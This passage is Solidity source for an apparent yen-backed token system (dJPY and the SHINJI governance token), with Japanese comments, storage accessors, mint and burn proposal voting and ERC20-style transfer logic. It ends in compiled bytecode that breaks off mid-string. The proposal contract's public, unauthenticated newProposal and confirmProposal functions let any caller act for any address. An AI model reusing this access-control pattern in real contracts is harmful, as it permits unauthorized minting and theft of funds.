最初のオーナー(contractをdeployしたユーザー)のアドレスを返す * * @return 最初のオーナーのアドレス */ function primaryOwner() public view auth returns (address) { return ownerAddresses[0]; } /** * 指定したアドレスがオーナーアドレスに登録されているか返す * * @param addr ユーザーのアドレス * * @return オーナーに含まれている場合はtrue、含まれていない場合はfalse */ function isOwnerAddress(address addr) public view auth returns (bool) { for (uint i = 0; i < ownerAddresses.length; i++) { if (ownerAddresses[i] == addr) return true; } return false; } /** * オーナー数を返す * * @return オーナー数 */ function numOwnerAddress() public view auth returns (uint) { return ownerAddresses.length; } // -------------------------------------------------- // functions for coinBalances // -------------------------------------------------- /** * 指定したユーザーのdJPY残高を返す * * @param addr ユーザーのアドレス * * @return dJPY残高 */ function coinBalance(address addr) public view auth returns (uint) { return coinBalances[addr]; } /** * 指定したユーザーのdJPYの残高を増やす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function addCoinBalance(address addr, uint amount) public auth returns (bool) { coinBalances[addr] = add(coinBalances[addr], amount); return true; } /** * 指定したユーザーのdJPYの残高を減らす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function subCoinBalance(address addr, uint amount) public auth returns (bool) { coinBalances[addr] = sub(coinBalances[addr], amount); return true; } // -------------------------------------------------- // functions for tokenBalances // -------------------------------------------------- /** * 指定したユーザーのSHINJIトークンの残高を返す * * @param addr ユーザーのアドレス * * @return SHINJIトークン残高 */ function tokenBalance(address addr) public view auth returns (uint) { return tokenBalances[addr]; } /** * 指定したユーザーのSHINJIトークンの残高を増やす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function addTokenBalance(address addr, uint amount) public auth returns (bool) { tokenBalances[addr] = add(tokenBalances[addr], amount); if (tokenBalances[addr] > 0 && !isOwnerAddress(addr)) { addOwnerAddress(addr); } return true; } /** * 指定したユーザーのSHINJIトークンの残高を減らす * * @param addr ユーザーのアドレス * @param amount 差分 * * @return 処理に成功したらtrue、失敗したらfalse */ function subTokenBalance(address addr, uint amount) public auth returns (bool) { tokenBalances[addr] = sub(tokenBalances[addr], amount); if (tokenBalances[addr] <= 0) { removeOwnerAddress(addr); } return true; } // -------------------------------------------------- // functions for coinAllowances // -------------------------------------------------- /** * 送金許可金額を返す * * @param owner_ 送金者 * @param spender 送金代行者 * * @return 送金許可金額 */ function coinAllowance(address owner_, address spender) public view auth returns (uint) { return coinAllowances[owner_][spender]; } /** * 送金許可金額を指定した金額だけ増やす * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 金額 * * @return 更新に成功したらtrue、失敗したらfalse */ function addCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = add(coinAllowances[owner_][spender], amount); return true; } /** * 送金許可金額を指定した金額だけ減らす * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 金額 * * @return 更新に成功したらtrue、失敗したらfalse */ function subCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = sub(coinAllowances[owner_][spender], amount); return true; } /** * 送金許可金額を指定した値に更新する * * @param owner_ 送金者 * @param spender 送金代行者 * @param amount 送金許可金額 * * @return 指定に成功したらtrue、失敗したらfalse */ function setCoinAllowance(address owner_, address spender, uint amount) public auth returns (bool) { coinAllowances[owner_][spender] = amount; return true; } /** * 権限チェック用関数のoverride * * @param src 実行者アドレス * @param sig 実行関数の識別子 * * @return 実行が許可されていればtrue、そうでなければfalse */ function isAuthorized(address src, bytes4 sig) internal view returns (bool) { sig; // #HACK return src == address(this) || src == owner || src == tokenAddress || src == authorityAddress || src == multiSigAddress; } } // import './IkuraTokenEvent.sol'; /** * Tokenでの処理に関するイベント定義 * * - ERC20に準拠したイベント(Transfer / Approval) * - IkuraTokenの独自イベント(TransferToken / TransferFee) */ contract IkuraTokenEvent { /** オーナーがdJPYを鋳造した際に発火するイベント */ event IkuraMint(address indexed owner, uint); /** オーナーがdJPYを消却した際に発火するイベント */ event IkuraBurn(address indexed owner, uint); /** トークンの移動時に発火するイベント */ event IkuraTransferToken(address indexed from, address indexed to, uint value); /** 手数料が発生したときに発火するイベント */ event IkuraTransferFee(address indexed from, address indexed to, address indexed owner, uint value); /** * テスト時にこのイベントも流れてくるはずなので追加で定義 * controllerでもイベントを発火させているが、ゆくゆくはここでIkuraTokenのバージョンとか追加の情報を投げる可能性もあるので残留。 */ event IkuraTransfer(address indexed from, address indexed to, uint value); /** 送金許可イベント */ event IkuraApproval(address indexed owner, address indexed spender, uint value); } // import './IkuraAssociation.sol'; /** * 経過時間とSHINJI Tokenの所有比率によって特定のアクションの承認を行うクラス */ contract IkuraAssociation is DSMath, DSAuth { // // public // // 提案が承認されるために必要な賛成票の割合 uint public confirmTotalTokenThreshold = 50; // // private // // データの永続化ストレージ IkuraStorage _storage; IkuraToken _token; // 提案一覧 Proposal[] mintProposals; Proposal[] burnProposals; mapping (bytes32 => Proposal[]) proposals; struct Proposal { address proposer; // 提案者 bytes32 digest; // チェックサム bool executed; // 実行の有無 uint createdAt; // 提案作成日時 uint expireAt; // 提案の締め切り address[] confirmers; // 承認者 uint amount; // 鋳造量 } // // Events // event MintProposalAdded(uint proposalId, address proposer, uint amount); event MintConfirmed(uint proposalId, address confirmer, uint amount); event MintExecuted(uint proposalId, address proposer, uint amount); event BurnProposalAdded(uint proposalId, address proposer, uint amount); event BurnConfirmed(uint proposalId, address confirmer, uint amount); event BurnExecuted(uint proposalId, address proposer, uint amount); constructor() public { proposals[keccak256('mint')] = mintProposals; proposals[keccak256('burn')] = burnProposals; // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } /** * 永続化ストレージを設定する * * @param newStorage 永続化ストレージのインスタンス(アドレス) */ function changeStorage(IkuraStorage newStorage) public auth returns (bool) { _storage = newStorage; return true; } function changeToken(IkuraToken token_) public auth returns (bool) { _token = token_; return true; } /** * 提案を作成する * * @param proposer 提案者のアドレス * @param amount 鋳造量 */ function newProposal(bytes32 type_, address proposer, uint amount, bytes transationBytecode) public returns (uint) { uint proposalId = proposals[type_].length++; Proposal storage proposal = proposals[type_][proposalId]; proposal.proposer = proposer; proposal.amount = amount; proposal.digest = keccak256(proposer, amount, transationBytecode); proposal.executed = false; proposal.createdAt = now; proposal.expireAt = proposal.createdAt + 86400; // 提案の種類毎に実行すべき内容を実行する // @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している if (type_ == keccak256('mint')) emit MintProposalAdded(proposalId, proposer, amount); if (type_ == keccak256('burn')) emit BurnProposalAdded(proposalId, proposer, amount); // 本人は当然承認 confirmProposal(type_, proposer, proposalId); return proposalId; } /** * トークン所有者が提案に対して賛成する * * @param type_ 提案の種類 * @param confirmer 承認者のアドレス * @param proposalId 提案ID */ function confirmProposal(bytes32 type_, address confirmer, uint proposalId) public { Proposal storage proposal = proposals[type_][proposalId]; // 既に承認済みの場合はエラーを返す require(!hasConfirmed(type_, confirmer, proposalId)); // 承認行為を行ったフラグを立てる proposal.confirmers.push(confirmer); // 提案の種類毎に実行すべき内容を実行する // @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している if (type_ == keccak256('mint')) emit MintConfirmed(proposalId, confirmer, proposal.amount); if (type_ == keccak256('burn')) emit BurnConfirmed(proposalId, confirmer, proposal.amount); if (isProposalExecutable(type_, proposalId, proposal.proposer, '')) { proposal.executed = true; // 提案の種類毎に実行すべき内容を実行する // @NOTE literal_stringとbytesは単純に比較できないのでkeccak256のハッシュ値で比較している if (type_ == keccak256('mint')) executeMintProposal(proposalId); if (type_ == keccak256('burn')) executeBurnProposal(proposalId); } } /** * 既に承認済みの提案かどうかを返す * * @param type_ 提案の種類 * @param addr 承認者のアドレス * @param proposalId 提案ID * * @return 承認済みであればtrue、そうでなければfalse */ function hasConfirmed(bytes32 type_, address addr, uint proposalId) internal view returns (bool) { Proposal storage proposal = proposals[type_][proposalId]; uint length = proposal.confirmers.length; for (uint i = 0; i < length; i++) { if (proposal.confirmers[i] == addr) return true; } return false; } /** * 指定した提案を承認したトークンの総量を返す * * @param type_ 提案の種類 * @param proposalId 提案ID * * @return 承認に投票されたトークン数 */ function confirmedTotalToken(bytes32 type_, uint proposalId) internal view returns (uint) { Proposal storage proposal = proposals[type_][proposalId]; uint length = proposal.confirmers.length; uint total = 0; for (uint i = 0; i < length; i++) { total = add(total, _storage.tokenBalance(proposal.confirmers[i])); } return total; } /** * 指定した提案の締め切りを返す * * @param type_ 提案の種類 * @param proposalId 提案ID * * @return 提案の締め切り */ function proposalExpireAt(bytes32 type_, uint proposalId) public view returns (uint) { Proposal storage proposal = proposals[type_][proposalId]; return proposal.expireAt; } /** * 提案が実行条件を満たしているかを返す * * 【承認条件】 * - まだ実行していない * - 提案の有効期限内である * - 指定した割合以上の賛成トークンを得ている * * @param proposalId 提案ID * * @return 実行条件を満たしている場合はtrue、そうでない場合はfalse */ function isProposalExecutable(bytes32 type_, uint proposalId, address proposer, bytes transactionBytecode) internal view returns (bool) { Proposal storage proposal = proposals[type_][proposalId]; // オーナーがcontrollerを登録したユーザーしか存在しない場合は if (_storage.numOwnerAddress() < 2) { return true; } return proposal.digest == keccak256(proposer, proposal.amount, transactionBytecode) && isProposalNotExpired(type_, proposalId) && mul(100, confirmedTotalToken(type_, proposalId)) / _storage.totalSupply() > confirmTotalTokenThreshold; } /** * 指定した種類の提案数を取得する * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数(承認されていないものも含む) */ function numberOfProposals(bytes32 type_) public constant returns (uint) { return proposals[type_].length; } /** * 未承認で有効期限の切れていない提案の数を返す * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数 */ function numberOfActiveProposals(bytes32 type_) public view returns (uint) { uint numActiveProposal = 0; for(uint i = 0; i < proposals[type_].length; i++) { if (isProposalNotExpired(type_, i)) { numActiveProposal++; } } return numActiveProposal; } /** * 提案の有効期限が切れていないかチェックする * * - 実行されていない * - 有効期限が切れていない * * 場合のみtrueを返す */ function isProposalNotExpired(bytes32 type_, uint proposalId) internal view returns (bool) { Proposal storage proposal = proposals[type_][proposalId]; return !proposal.executed && now < proposal.expireAt; } /** * dJPYを鋳造する * * - 鋳造する量が0より大きい * * 場合は成功する * * @param proposalId 提案ID */ function executeMintProposal(uint proposalId) internal returns (bool) { Proposal storage proposal = proposals[keccak256('mint')][proposalId]; // ここでも念のためチェックを入れる require(proposal.amount > 0); emit MintExecuted(proposalId, proposal.proposer, proposal.amount); // 総供給量 / 実行者のdJPY / 実行者のSHINJI tokenを増やす _storage.addTotalSupply(proposal.amount); _storage.addCoinBalance(proposal.proposer, proposal.amount); _storage.addTokenBalance(proposal.proposer, proposal.amount); return true; } /** * dJPYを消却する * * - 消却する量が0より大きい * - 提案者の所有するdJPYの残高がamount以上 * - 提案者の所有するSHINJIがamountよりも大きい * * 場合は成功する * * @param proposalId 提案ID */ function executeBurnProposal(uint proposalId) internal returns (bool) { Proposal storage proposal = proposals[keccak256('burn')][proposalId]; // ここでも念のためチェックを入れる require(proposal.amount > 0); require(_storage.coinBalance(proposal.proposer) >= proposal.amount); require(_storage.tokenBalance(proposal.proposer) >= proposal.amount); emit BurnExecuted(proposalId, proposal.proposer, proposal.amount); // 総供給量 / 実行者のdJPY / 実行者のSHINJI tokenを減らす _storage.subTotalSupply(proposal.amount); _storage.subCoinBalance(proposal.proposer, proposal.amount); _storage.subTokenBalance(proposal.proposer, proposal.amount); return true; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { sig; // #HACK return src == address(this) || src == owner || src == address(_token); } } // import './lib/ProposalLibrary.sol'; /** * * 承認プロセスの実装ライブラリ * IkuraTokenに実装するとサイズ超過してしまうため、ライブラリとして切り出している * * 今のところギリギリおさまっているので使ってはいない */ library ProposalLibrary { // // structs // // tokenのstorage/associationを参照するための構造体 struct Entity { IkuraStorage _storage; IkuraAssociation _association; } /** * 永続化ストレージを設定する * * @param self 実行Entity * @param storage_ 永続化ストレージのインスタンス(アドレス) */ function changeStorage(Entity storage self, address storage_) internal { self._storage = IkuraStorage(storage_); } /** * 関連づける承認プロセスを変更する * * @param self 実行Entity * @param association_ 新しい承認プロセス */ function changeAssociation(Entity storage self, address association_) internal { self._association = IkuraAssociation(association_); } /** * dJPYを鋳造する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * * 場合は成功する * * @param self 実行Entity * @param sender 実行アドレス * @param amount 鋳造する金額 */ function mint(Entity storage self, address sender, uint amount) public returns (bool) { require(amount > 0); self._association.newProposal(keccak256('mint'), sender, amount, ''); return true; } /** * dJPYを消却する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * - dJPYの残高がamountよりも大きい * - SHINJIをamountよりも大きい * * 場合は成功する * * @param self 実行Entity * @param sender 実行アドレス * @param amount 消却する金額 */ function burn(Entity storage self, address sender, uint amount) public returns (bool) { require(amount > 0); require(self._storage.coinBalance(sender) >= amount); require(self._storage.tokenBalance(sender) >= amount); self._association.newProposal(keccak256('burn'), sender, amount, ''); return true; } /** * 提案を承認する。 * #TODO proposalIdは分からないので、別のものからproposalを特定しないといかんよ * * @param self 実行Entity * @param sender 実行アドレス * @param type_ 承認する提案の種類 * @param proposalId 提案ID */ function confirmProposal(Entity storage self, address sender, bytes32 type_, uint proposalId) public { self._association.confirmProposal(type_, sender, proposalId); } /** * 指定した種類の提案数を取得する * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数(承認されていないものも含む) */ function numberOfProposals(Entity storage self, bytes32 type_) public view returns (uint) { return self._association.numberOfProposals(type_); } } /** * * トークンロジック * */ contract IkuraToken is IkuraTokenEvent, DSMath, DSAuth { // // constants // // 手数料率 // 0.01pips = 1 // 例). 手数料を 0.05% とする場合は 500 uint _transferFeeRate = 0; // 最低手数料額 // 1 = 1dJPY // amount * 手数料率で算出した金額がここで設定した最低手数料を下回る場合は、最低手数料額を手数料とする uint8 _transferMinimumFee = 0; // ロジックバージョン uint _logicVersion = 2; // // libraries // /*using ProposalLibrary for ProposalLibrary.Entity; ProposalLibrary.Entity proposalEntity;*/ // // private // // データの永続化ストレージ IkuraStorage _storage; IkuraAssociation _association; constructor() DSAuth() public { // @NOTE リリース時にcontractのdeploy -> watch contract -> setOwnerの流れを //省略したい場合は、ここで直接controllerのアドレスを指定するとショートカットできます // 勿論テストは通らなくなるので、テストが通ったら試してね /*address controllerAddress = 0x34c5605A4Ef1C98575DB6542179E55eE1f77A188; owner = controllerAddress; LogSetOwner(controllerAddress);*/ } // ---------------------------------------------------------------------------------------------------- // 以降はERC20に準拠した関数 // ---------------------------------------------------------------------------------------------------- /** * ERC20 Token Standardに準拠した関数 * * dJPYの発行高を返す * * @return 発行高 */ function totalSupply(address sender) public view returns (uint) { sender; // #HACK return _storage.totalSupply(); } /** * ERC20 Token Standardに準拠した関数 * * 特定のアドレスのdJPY残高を返す * * @param sender 実行アドレス * @param addr アドレス * * @return 指定したアドレスのdJPY残高 */ function balanceOf(address sender, address addr) public view returns (uint) { sender; // #HACK return _storage.coinBalance(addr); } /** * ERC20 Token Standardに準拠した関数 * * 指定したアドレスに対してdJPYを送金する * 以下の条件を満たす必要がある * * - メッセージの送信者の残高 >= 送金額 * - 送金額 > 0 * - 送金先のアドレスの残高 + 送金額 > 送金元のアドレスの残高(overflowのチェックらしい) * * @param sender 送金元アドレス * @param to 送金対象アドレス * @param amount 送金額 * * @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse */ function transfer(address sender, address to, uint amount) public auth returns (bool success) { uint fee = transferFee(sender, sender, to, amount); uint totalAmount = add(amount, fee); require(_storage.coinBalance(sender) >= totalAmount); require(amount > 0); // 実行者の口座からamount + feeの金額が控除される _storage.subCoinBalance(sender, totalAmount); // toの口座にamountが振り込まれる _storage.addCoinBalance(to, amount); if (fee > 0) { // 手数料を受け取るオーナーのアドレスを選定 address owner = selectOwnerAddressForTransactionFee(sender); // オーナーの口座にfeeが振り込まれる _storage.addCoinBalance(owner, fee); } return true; } /** * ERC20 Token Standardに準拠した関数 * * from(送信元のアドレス)からto(送信先のアドレス)へamount分だけ送金する。 * 主に口座からの引き出しに利用され、契約によってサブ通貨の送金手数料を徴収することができるようになる。 * この操作はfrom(送信元のアドレス)が何らかの方法で意図的に送信者を許可する場合を除いて失敗すべき。 * この許可する処理はapproveコマンドで実装しましょう。 * * 以下の条件を満たす場合だけ送金を認める * * - 送信元の残高 >= 金額 * - 送金する金額 > 0 * - 送信者に対して送信元が許可している金額 >= 送金する金額 * - 送信先の残高 + 金額 > 送信元の残高(overflowのチェックらしい) # - 送金処理を行うユーザーの口座残高 >= 送金処理の手数料 * * @param sender 実行アドレス * @param from 送金元アドレス * @param to 送金先アドレス * @param amount 送金額 * * @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse */ function transferFrom(address sender, address from, address to, uint amount) public auth returns (bool success) { uint fee = transferFee(sender, from, to, amount); require(_storage.coinBalance(from) >= amount); require(_storage.coinAllowance(from, sender) >= amount); require(amount > 0); require(add(_storage.coinBalance(to), amount) > _storage.coinBalance(to)); if (fee > 0) { require(_storage.coinBalance(sender) >= fee); // 手数料を受け取るオーナーのアドレスを選定 address owner = selectOwnerAddressForTransactionFee(sender); // 手数料はこの関数を実行したユーザー(主に取引所とか)から徴収する _storage.subCoinBalance(sender, fee); _storage.addCoinBalance(owner, fee); } // 送金元から送金額を引く _storage.subCoinBalance(from, amount); // 送金許可している金額を減らす _storage.subCoinAllowance(from, sender, amount); // 送金口座に送金額を足す _storage.addCoinBalance(to, amount); return true; } /** * ERC20 Token Standardに準拠した関数 * * spender(支払い元のアドレス)にsender(送信者)がamount分だけ支払うのを許可する * この関数が呼ばれる度に送金可能な金額を更新する。 * * @param sender 実行アドレス * @param spender 送金元アドレス * @param amount 送金額 * * @return 基本的にtrueを返す */ function approve(address sender, address spender, uint amount) public auth returns (bool success) { _storage.setCoinAllowance(sender, spender, amount); return true; } /** * ERC20 Token Standardに準拠した関数 * * 受取側に対して支払い側がどれだけ送金可能かを返す * * @param sender 実行アドレス * @param owner 受け取り側のアドレス * @param spender 支払い元のアドレス * * @return 許可されている送金料 */ function allowance(address sender, address owner, address spender) public view returns (uint remaining) { sender; // #HACK return _storage.coinAllowance(owner, spender); } // ---------------------------------------------------------------------------------------------------- // 以降はERC20以外の独自実装 // ---------------------------------------------------------------------------------------------------- /** * 特定のアドレスのSHINJI残高を返す * * @param sender 実行アドレス * @param owner アドレス * * @return 指定したアドレスのSHINJIトークン量 */ function tokenBalanceOf(address sender, address owner) public view returns (uint balance) { sender; // #HACK return _storage.tokenBalance(owner); } /** * 指定したアドレスに対してSHINJIトークンを送金する * * - 送信元の残トークン量 >= トークン量 * - 送信するトークン量 > 0 * - 送信先の残高 + 金額 > 送信元の残高(overflowのチェック) * * @param sender 実行アドレス * @param to 送金対象アドレス * @param amount 送金額 * * @return 条件を満たして処理に成功した場合はtrue、失敗した場合はfalse */ function transferToken(address sender, address to, uint amount) public auth returns (bool success) { require(_storage.tokenBalance(sender) >= amount); require(amount > 0); require(add(_storage.tokenBalance(to), amount) > _storage.tokenBalance(to)); _storage.subTokenBalance(sender, amount); _storage.addTokenBalance(to, amount); emit IkuraTransferToken(sender, to, amount); return true; } /** * 送金元、送金先、送金金額によって対象のトランザクションの手数料を決定する * 送金金額に対して手数料率をかけたものを計算し、最低手数料金額とのmax値を取る。 * * @param sender 実行アドレス * @param from 送金元 * @param to 送金先 * @param amount 送金金額 * * @return 手数料金額 */ function transferFee(address sender, address from, address to, uint amount) public view returns (uint) { sender; from; to; // #avoid warning if (_transferFeeRate > 0) { uint denominator = 1000000; // 0.01 pips だから 100 * 100 * 100 で 100万 uint numerator = mul(amount, _transferFeeRate); uint fee = numerator / denominator; uint remainder = sub(numerator, mul(denominator, fee)); // 余りがある場合はfeeに1を足す if (remainder > 0) { fee++; } if (fee < _transferMinimumFee) { fee = _transferMinimumFee; } return fee; } else { return 0; } } /** * 手数料率を返す * * @param sender 実行アドレス * * @return 手数料率 */ function transferFeeRate(address sender) public view returns (uint) { sender; // #HACK return _transferFeeRate; } /** * 最低手数料額を返す * * @param sender 実行アドレス * * @return 最低手数料額 */ function transferMinimumFee(address sender) public view returns (uint8) { sender; // #HACK return _transferMinimumFee; } /** * 手数料を振り込む口座を選択する * #TODO とりあえず一個目のオーナーに固定。後で選定ロジックを変える * * @param sender 実行アドレス * @return 特定のオーナー口座 */ function selectOwnerAddressForTransactionFee(address sender) public view returns (address) { sender; // #HACK return _storage.primaryOwner(); } /** * dJPYを鋳造する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * * 場合は成功する * * @param sender 実行アドレス * @param amount 鋳造する金額 */ function mint(address sender, uint amount) public auth returns (bool) { require(amount > 0); _association.newProposal(keccak256('mint'), sender, amount, ''); return true; /*return proposalEntity.mint(sender, amount);*/ } /** * dJPYを消却する * * - コマンドを実行したユーザがオーナーである * - 鋳造する量が0より大きい * - dJPYの残高がamountよりも大きい * - SHINJIをamountよりも大きい * * 場合は成功する * * @param sender 実行アドレス * @param amount 消却する金額 */ function burn(address sender, uint amount) public auth returns (bool) { require(amount > 0); require(_storage.coinBalance(sender) >= amount); require(_storage.tokenBalance(sender) >= amount); _association.newProposal(keccak256('burn'), sender, amount, ''); return true; /*return proposalEntity.burn(sender, amount);*/ } /** * 提案を承認する。 * #TODO proposalIdは分からないので、別のものからproposalを特定しないといかんよ */ function confirmProposal(address sender, bytes32 type_, uint proposalId) public auth { _association.confirmProposal(type_, sender, proposalId); /*proposalEntity.confirmProposal(sender, type_, proposalId);*/ } /** * 指定した種類の提案数を取得する * * @param type_ 提案の種類('mint' | 'burn' | 'transferMinimumFee' | 'transferFeeRate') * * @return 提案数(承認されていないものも含む) */ function numberOfProposals(bytes32 type_) public view returns (uint) { return _association.numberOfProposals(type_); /*return proposalEntity.numberOfProposals(type_);*/ } /** * 関連づける承認プロセスを変更する * * @param association_ 新しい承認プロセス */ function changeAssociation(address association_) public auth returns (bool) { _association = IkuraAssociation(association_); return true; } /** * 永続化ストレージを設定する * * @param storage_ 永続化ストレージのインスタンス(アドレス) */ function changeStorage(address storage_) public auth returns (bool) { _storage = IkuraStorage(storage_); return true; } /** * ロジックのバージョンを返す * * @param sender 実行ユーザーのアドレス * * @return バージョン情報 */ function logicVersion(address sender) public view returns (uint) { sender; // #HACK return _logicVersion; } }
0x6080604052600436106101325763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663112fbe9b811461013757806313af40351461016e57806315dacbea146101915780631bea8006146101d557806340c10f191461020e578063429cddca1461023257806358cf95701461026f578063796d67da146102905780637a9e5e4b146102a85780638da5cb5b146102c9578063927da105146102de5780639b76a25c1461030b5780639dc29fac1461033b578063b8a582af1461035f578063beabacc814610380578063bf29b90a146103aa578063bf7e214f146103cb578063c50c97d0146103e0578063e1f21c6714610401578063e4dc2aa41461042b578063f5537ede1461044c578063f7888aec14610476578063fb9734fc1461049d575b600080fd5b34801561014357600080fd5b50610158600160a060020a03600435166104c4565b6040805160ff9092168252519081900360200190f35b34801561017a57600080fd5b5061018f600160a060020a03600435166104ce565b005b34801561019d57600080fd5b506101c1600160a060020a036004358116906024358116906044351660643561054c565b604080519115158252519081900360200190f35b3480156101e157600080fd5b506101fc600160a060020a0360043581169060243516610b65565b60408051918252519081900360200190f35b34801561021a57600080fd5b506101c1600160a060020a0360043516602435610bef565b34801561023e57600080fd5b50610253600160a060020a0360043516610d07565b60408051600160a060020a039092168252519081900360200190f35b34801561027b57600080fd5b506101fc600160a060020a0360043516610d98565b34801561029c57600080fd5b506101fc600435610d9f565b3480156102b457600080fd5b5061018f600160a060020a0360043516610e05565b3480156102d557600080fd5b50610253610e7f565b3480156102ea57600080fd5b506101fc600160a060020a0360043581169060243581169060443516610e8e565b34801561031757600080fd5b506101fc600160a060020a0360043581169060243581169060443516606435610f35565b34801561034757600080fd5b506101c1600160a060020a0360043516602435610fbd565b34801561036b57600080fd5b506101fc600160a060020a03600435166111b8565b34801561038c57600080fd5b506101c1600160a060020a03600435811690602435166044356111bf565b3480156103b657600080fd5b506101c1600160a060020a0360043516611460565b3480156103d757600080fd5b506102536114b5565b3480156103ec57600080fd5b506101c1600160a060020a03600435166114c4565b34801561040d57600080fd5b506101c1600160a060020a0360043581169060243516604435611519565b34801561043757600080fd5b506101fc600160a060020a03600435166115e9565b34801561045857600080fd5b506101c1600160a060020a0360043581169060243516604435611648565b34801561048257600080fd5b506101fc600160a060020a0360043581169060243516611998565b3480156104a957600080fd5b5061018f600160a060020a03600435166024356044356119ed565b5060035460ff1690565b6104e433600035600160e060020a031916611aa0565b15156104ef57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691909117918290556040519116907fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a250565b600080600061056733600035600160e060020a031916611aa0565b151561057257600080fd5b61057e87878787610f35565b6005546040805160e260020a633eaf7a03028152600160a060020a038a8116600483015291519395508793919092169163fabde80c9160248083019260209291908290030181600087803b1580156105d557600080fd5b505af11580156105e9573d6000803e3d6000fd5b505050506040513d60208110156105ff57600080fd5b5051101561060c57600080fd5b600554604080517f7d7714fb000000000000000000000000000000000000000000000000000000008152600160a060020a0389811660048301528a81166024830152915187939290921691637d7714fb916044808201926020929091908290030181600087803b15801561067f57600080fd5b505af1158015610693573d6000803e3d6000fd5b505050506040513d60208110156106a957600080fd5b505110156106b657600080fd5b600084116106c357600080fd5b6005546040805160e260020a633eaf7a03028152600160a060020a0388811660048301529151919092169163fabde80c9160248083019260209291908290030181600087803b15801561071557600080fd5b505af1158015610729573d6000803e3d6000fd5b505050506040513d602081101561073f57600080fd5b50516005546040805160e260020a633eaf7a03028152600160a060020a03898116600483015291516107ca93929092169163fabde80c916024808201926020929091908290030181600087803b15801561079857600080fd5b505af11580156107ac573d6000803e3d6000fd5b505050506040513d60208110156107c257600080fd5b505186611bb2565b116107d457600080fd5b6000821115610995576005546040805160e260020a633eaf7a03028152600160a060020a038a8116600483015291518593929092169163fabde80c916024808201926020929091908290030181600087803b15801561083257600080fd5b505af1158015610846573d6000803e3d6000fd5b505050506040513d602081101561085c57600080fd5b5051101561086957600080fd5b61087287610d07565b600554604080517f2a5b204a000000000000000000000000000000000000000000000000000000008152600160a060020a038b81166004830152602482018790529151939450911691632a5b204a916044808201926020929091908290030181600087803b1580156108e357600080fd5b505af11580156108f7573d6000803e3d6000fd5b505050506040513d602081101561090d57600080fd5b50506005546040805160e060020a6329abdeed028152600160a060020a03848116600483015260248201869052915191909216916329abdeed9160448083019260209291908290030181600087803b15801561096857600080fd5b505af115801561097c573d6000803e3d6000fd5b505050506040513d602081101561099257600080fd5b50505b600554604080517f2a5b204a000000000000000000000000000000000000000000000000000000008152600160a060020a0389811660048301526024820188905291519190921691632a5b204a9160448083019260209291908290030181600087803b158015610a0457600080fd5b505af1158015610a18573d6000803e3d6000fd5b505050506040513d6020811015610a2e57600080fd5b5050600554604080517f6668df7f000000000000000000000000000000000000000000000000000000008152600160a060020a0389811660048301528a811660248301526044820188905291519190921691636668df7f9160648083019260209291908290030181600087803b158015610aa757600080fd5b505af1158015610abb573d6000803e3d6000fd5b505050506040513d6020811015610ad157600080fd5b50506005546040805160e060020a6329abdeed028152600160a060020a03888116600483015260248201889052915191909216916329abdeed9160448083019260209291908290030181600087803b158015610b2c57600080fd5b505af1158015610b40573d6000803e3d6000fd5b505050506040513d6020811015610b5657600080fd5b50600198975050505050505050565b6005546040805160e160020a63776e4b35028152600160a060020a0384811660048301529151600093929092169163eedc966a9160248082019260209290919082900301818787803b158015610bba57600080fd5b505af1158015610bce573d6000803e3d6000fd5b505050506040513d6020811015610be457600080fd5b505190505b92915050565b6000610c0733600035600160e060020a031916611aa0565b1515610c1257600080fd5b60008211610c1f57600080fd5b600654604080517f6d696e74000000000000000000000000000000000000000000000000000000008152815190819003600490810182207f695addc900000000000000000000000000000000000000000000000000000000835290820152600160a060020a0386811660248301526044820186905260806064830152600060848301819052925193169263695addc99260c480840193602093929083900390910190829087803b158015610cd257600080fd5b505af1158015610ce6573d6000803e3d6000fd5b505050506040513d6020811015610cfc57600080fd5b506001949350505050565b600554604080517f8e10be330000000000000000000000000000000000000000000000000000000081529051600092600160a060020a031691638e10be3391600480830192602092919082900301818787803b158015610d6657600080fd5b505af1158015610d7a573d6000803e3d6000fd5b505050506040513d6020811015610d9057600080fd5b505192915050565b5060025490565b600654604080517f796d67da000000000000000000000000000000000000000000000000000000008152600481018490529051600092600160a060020a03169163796d67da91602480830192602092919082900301818787803b158015610d6657600080fd5b610e1b33600035600160e060020a031916611aa0565b1515610e2657600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116919091178083556040519116917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b600154600160a060020a031681565b600554604080517f7d7714fb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152848116602483015291516000939290921691637d7714fb9160448082019260209290919082900301818787803b158015610f0157600080fd5b505af1158015610f15573d6000803e3d6000fd5b505050506040513d6020811015610f2b57600080fd5b5051949350505050565b6000806000806000806002541115610fac57620f42409350610f59866002546